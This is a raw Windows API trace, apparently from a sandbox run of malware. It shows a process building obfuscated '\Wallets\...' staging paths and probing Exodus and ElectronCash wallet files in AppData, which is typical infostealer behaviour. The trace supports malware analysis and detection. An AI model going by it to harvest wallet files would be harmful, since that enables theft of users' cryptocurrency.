[0055.097] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67dbb0
[0055.098] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Exodus\\P" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\exodus\\p"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0055.098] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dbb0 | out: hHeap=0x670000) returned 1
[0055.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67daa8
[0055.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67daa8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.098] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67daa8 | out: hHeap=0x670000) returned 1
[0055.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67dbb0
[0055.098] lstrcpyA (in: lpString1=0x19a050, lpString2="\\Wallets\\Exodus\\P" | out: lpString1="\\Wallets\\Exodus\\P") returned="\\Wallets\\Exodus\\P"
[0055.098] lstrlenA (lpString="/Wallets/Exodus/P") returned 17
[0055.098] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Exodus\\P" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\exodus\\p"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0055.098] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dbb0 | out: hHeap=0x670000) returned 1
[0055.098] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db78 | out: hHeap=0x670000) returned 1
[0055.098] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db50 | out: hHeap=0x670000) returned 1
[0055.098] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0055.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67efa8 | out: hHeap=0x670000) returned 1
[0055.099] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67efa8
[0055.099] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67db18
[0055.099] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199db8 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0055.099] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db40
[0055.099] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x67db78
[0055.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db78, cbMultiByte=63, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63
[0055.099] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7e) returned 0x6704a0
[0055.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db78, cbMultiByte=63, lpWideCharStr=0x6704a0, cchWideChar=63 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Exodus\\exodus.wallet\\*.*") returned 63
[0055.099] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0xe055320
[0055.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.099] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Exodus\\exodus.wallet\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\exodus\\exodus.wallet\\*.*"), lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0055.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe055320 | out: hHeap=0x670000) returned 1
[0055.099] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x67dbc0
[0055.099] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0055.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db78 | out: hHeap=0x670000) returned 1
[0055.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.100] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67d968
[0055.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67d968, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.100] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d968 | out: hHeap=0x670000) returned 1
[0055.100] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x67db78
[0055.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.100] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67d9b8
[0055.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67d9b8, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.100] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9b8 | out: hHeap=0x670000) returned 1
[0055.100] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x6704a0
[0055.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=60, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 60
[0055.100] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x78) returned 0x6704e8
[0055.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=60, lpWideCharStr=0x6704e8, cchWideChar=60 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Exodus\\exodus.wallet\\") returned 60
[0055.100] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0xe055320
[0055.100] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704e8 | out: hHeap=0x670000) returned 1
[0055.100] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Exodus\\exodus.wallet\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\exodus\\exodus.wallet")) returned 0xffffffff
[0055.100] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe055320 | out: hHeap=0x670000) returned 1
[0055.100] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.100] lstrcatA (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\"
[0055.100] lstrcatA (in: lpString1="\\", lpString2="W" | out: lpString1="\\W") returned="\\W"
[0055.100] lstrcatA (in: lpString1="\\W", lpString2="a" | out: lpString1="\\Wa") returned="\\Wa"
[0055.101] lstrcatA (in: lpString1="\\Wa", lpString2="l" | out: lpString1="\\Wal") returned="\\Wal"
[0055.101] lstrcatA (in: lpString1="\\Wal", lpString2="l" | out: lpString1="\\Wall") returned="\\Wall"
[0055.101] lstrcatA (in: lpString1="\\Wall", lpString2="e" | out: lpString1="\\Walle") returned="\\Walle"
[0055.101] lstrcatA (in: lpString1="\\Walle", lpString2="t" | out: lpString1="\\Wallet") returned="\\Wallet"
[0055.101] lstrcatA (in: lpString1="\\Wallet", lpString2="s" | out: lpString1="\\Wallets") returned="\\Wallets"
[0055.101] lstrcatA (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\"
[0055.101] lstrcatA (in: lpString1="\\Wallets\\", lpString2="Exodus\\exodus.wallet" | out: lpString1="\\Wallets\\Exodus\\exodus.wallet") returned="\\Wallets\\Exodus\\exodus.wallet"
[0055.101] lstrcatA (in: lpString1="\\Wallets\\Exodus\\exodus.wallet", lpString2="\\" | out: lpString1="\\Wallets\\Exodus\\exodus.wallet\\") returned="\\Wallets\\Exodus\\exodus.wallet\\"
[0055.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.101] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67d948
[0055.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67d948, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d948 | out: hHeap=0x670000) returned 1
[0055.101] lstrcatA (in: lpString1="\\Wallets\\Exodus\\exodus.wallet\\", lpString2="" | out: lpString1="\\Wallets\\Exodus\\exodus.wallet\\") returned="\\Wallets\\Exodus\\exodus.wallet\\"
[0055.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.101] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67d938
[0055.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67d938, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d938 | out: hHeap=0x670000) returned 1
[0055.101] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x6704a0
[0055.101] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Exodus\\exodus.wallet\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\exodus\\exodus.wallet"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0055.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.101] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67da88
[0055.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67da88, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da88 | out: hHeap=0x670000) returned 1
[0055.101] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x6704a0
[0055.101] lstrcpyA (in: lpString1=0x19a050, lpString2="\\Wallets\\Exodus\\exodus.wallet\\" | out: lpString1="\\Wallets\\Exodus\\exodus.wallet\\") returned="\\Wallets\\Exodus\\exodus.wallet\\"
[0055.101] lstrlenA (lpString="/Wallets/Exodus/exodus.wallet/") returned 30
[0055.101] StrCmpCA (pszStr1=".wallet/", pszStr2=".Z") returned 29
[0055.102] StrCmpCA (pszStr1=".wallet/", pszStr2=".zip") returned -3
[0055.102] StrCmpCA (pszStr1=".wallet/", pszStr2=".zoo") returned -3
[0055.102] StrCmpCA (pszStr1=".wallet/", pszStr2=".arc") returned 22
[0055.102] StrCmpCA (pszStr1=".wallet/", pszStr2=".lzh") returned 11
[0055.102] StrCmpCA (pszStr1=".wallet/", pszStr2=".arj") returned 22
[0055.102] StrCmpCA (pszStr1=".wallet/", pszStr2=".gz") returned 16
[0055.102] StrCmpCA (pszStr1=".wallet/", pszStr2=".tgz") returned 3
[0055.102] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Exodus\\exodus.wallet\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\exodus\\exodus.wallet"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0055.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db78 | out: hHeap=0x670000) returned 1
[0055.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dbc0 | out: hHeap=0x670000) returned 1
[0055.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db40 | out: hHeap=0x670000) returned 1
[0055.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0055.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67efa8 | out: hHeap=0x670000) returned 1
[0055.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67efa8
[0055.103] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199db8 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0055.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db18
[0055.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x67db50
[0055.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x5f) returned 0x6704a0
[0055.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db50 | out: hHeap=0x670000) returned 1
[0055.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=74, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74
[0055.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x94) returned 0x670508
[0055.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=74, lpWideCharStr=0x670508, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\ElectronCash\\wallets\\default_wallet") returned 74
[0055.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0xe055320
[0055.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670508 | out: hHeap=0x670000) returned 1
[0055.103] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\ElectronCash\\wallets\\default_wallet" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\electroncash\\wallets\\default_wallet"), lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="h", cAlternateFileName="")) returned 0xffffffff
[0055.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe055320 | out: hHeap=0x670000) returned 1
[0055.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x67db50
[0055.103] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="h", cAlternateFileName="")) returned 0
[0055.104] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.104] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67d9a8
[0055.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67d9a8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.104] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9a8 | out: hHeap=0x670000) returned 1
[0055.104] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x67db78
[0055.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.104] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67da38
[0055.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67da38, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.104] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da38 | out: hHeap=0x670000) returned 1
[0055.104] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x6704a0
[0055.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=61, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 61
[0055.104] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7a) returned 0x6704e8
[0055.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=61, lpWideCharStr=0x6704e8, cchWideChar=61 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\ElectronCash\\wallets\\h") returned 61
[0055.104] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0xe055320
[0055.104] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704e8 | out: hHeap=0x670000) returned 1
[0055.104] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\ElectronCash\\wallets\\h" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\electroncash\\wallets\\h")) returned 0xffffffff
[0055.104] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe055320 | out: hHeap=0x670000) returned 1
[0055.105] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.105] lstrcatA (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\"
[0055.105] lstrcatA (in: lpString1="\\", lpString2="W" | out: lpString1="\\W") returned="\\W"
[0055.105] lstrcatA (in: lpString1="\\W", lpString2="a" | out: lpString1="\\Wa") returned="\\Wa"
[0055.105] lstrcatA (in: lpString1="\\Wa", lpString2="l" | out: lpString1="\\Wal") returned="\\Wal"
[0055.105] lstrcatA (in: lpString1="\\Wal", lpString2="l" | out: lpString1="\\Wall") returned="\\Wall"
[0055.105] lstrcatA (in: lpString1="\\Wall", lpString2="e" | out: lpString1="\\Walle") returned="\\Walle"
[0055.105] lstrcatA (in: lpString1="\\Walle", lpString2="t" | out: lpString1="\\Wallet") returned="\\Wallet"
[0055.105] lstrcatA (in: lpString1="\\Wallet", lpString2="s" | out: lpString1="\\Wallets") returned="\\Wallets"
[0055.105] lstrcatA (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\"
[0055.105] lstrcatA (in: lpString1="\\Wallets\\", lpString2="ElectronCash" | out: lpString1="\\Wallets\\ElectronCash") returned="\\Wallets\\ElectronCash"
[0055.105] lstrcatA (in: lpString1="\\Wallets\\ElectronCash", lpString2="\\" | out: lpString1="\\Wallets\\ElectronCash\\") returned="\\Wallets\\ElectronCash\\"
[0055.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.105] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67d968
[0055.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67d968, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.105] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d968 | out: hHeap=0x670000) returned 1
[0055.105] lstrcatA (in: lpString1="\\Wallets\\ElectronCash\\", lpString2="h" | out: lpString1="\\Wallets\\ElectronCash\\h") returned="\\Wallets\\ElectronCash\\h"
[0055.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.105] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67d9b8
[0055.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67d9b8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.105] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9b8 | out: hHeap=0x670000) returned 1
[0055.105] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x6704a0
[0055.105] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\ElectronCash\\wallets\\h" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\electroncash\\wallets\\h"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0055.105] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.105] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67da78
[0055.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67da78, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.105] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da78 | out: hHeap=0x670000) returned 1
[0055.106] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x6704a0
[0055.106] lstrcpyA (in: lpString1=0x19a050, lpString2="\\Wallets\\ElectronCash\\h" | out: lpString1="\\Wallets\\ElectronCash\\h") returned="\\Wallets\\ElectronCash\\h"
[0055.106] lstrlenA (lpString="/Wallets/ElectronCash/h") returned 23
[0055.106] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\ElectronCash\\wallets\\h" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\electroncash\\wallets\\h"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0055.106] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.106] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db78 | out: hHeap=0x670000) returned 1
[0055.106] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db50 | out: hHeap=0x670000) returned 1
[0055.106] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0055.106] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67efa8 | out: hHeap=0x670000) returned 1
[0055.106] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67efa8
[0055.106] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199db8 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0055.107] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db18
[0055.107] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x67db50
[0055.107] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x5f) returned 0x6704a0
[0055.107] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db50 | out: hHeap=0x670000) returned 1
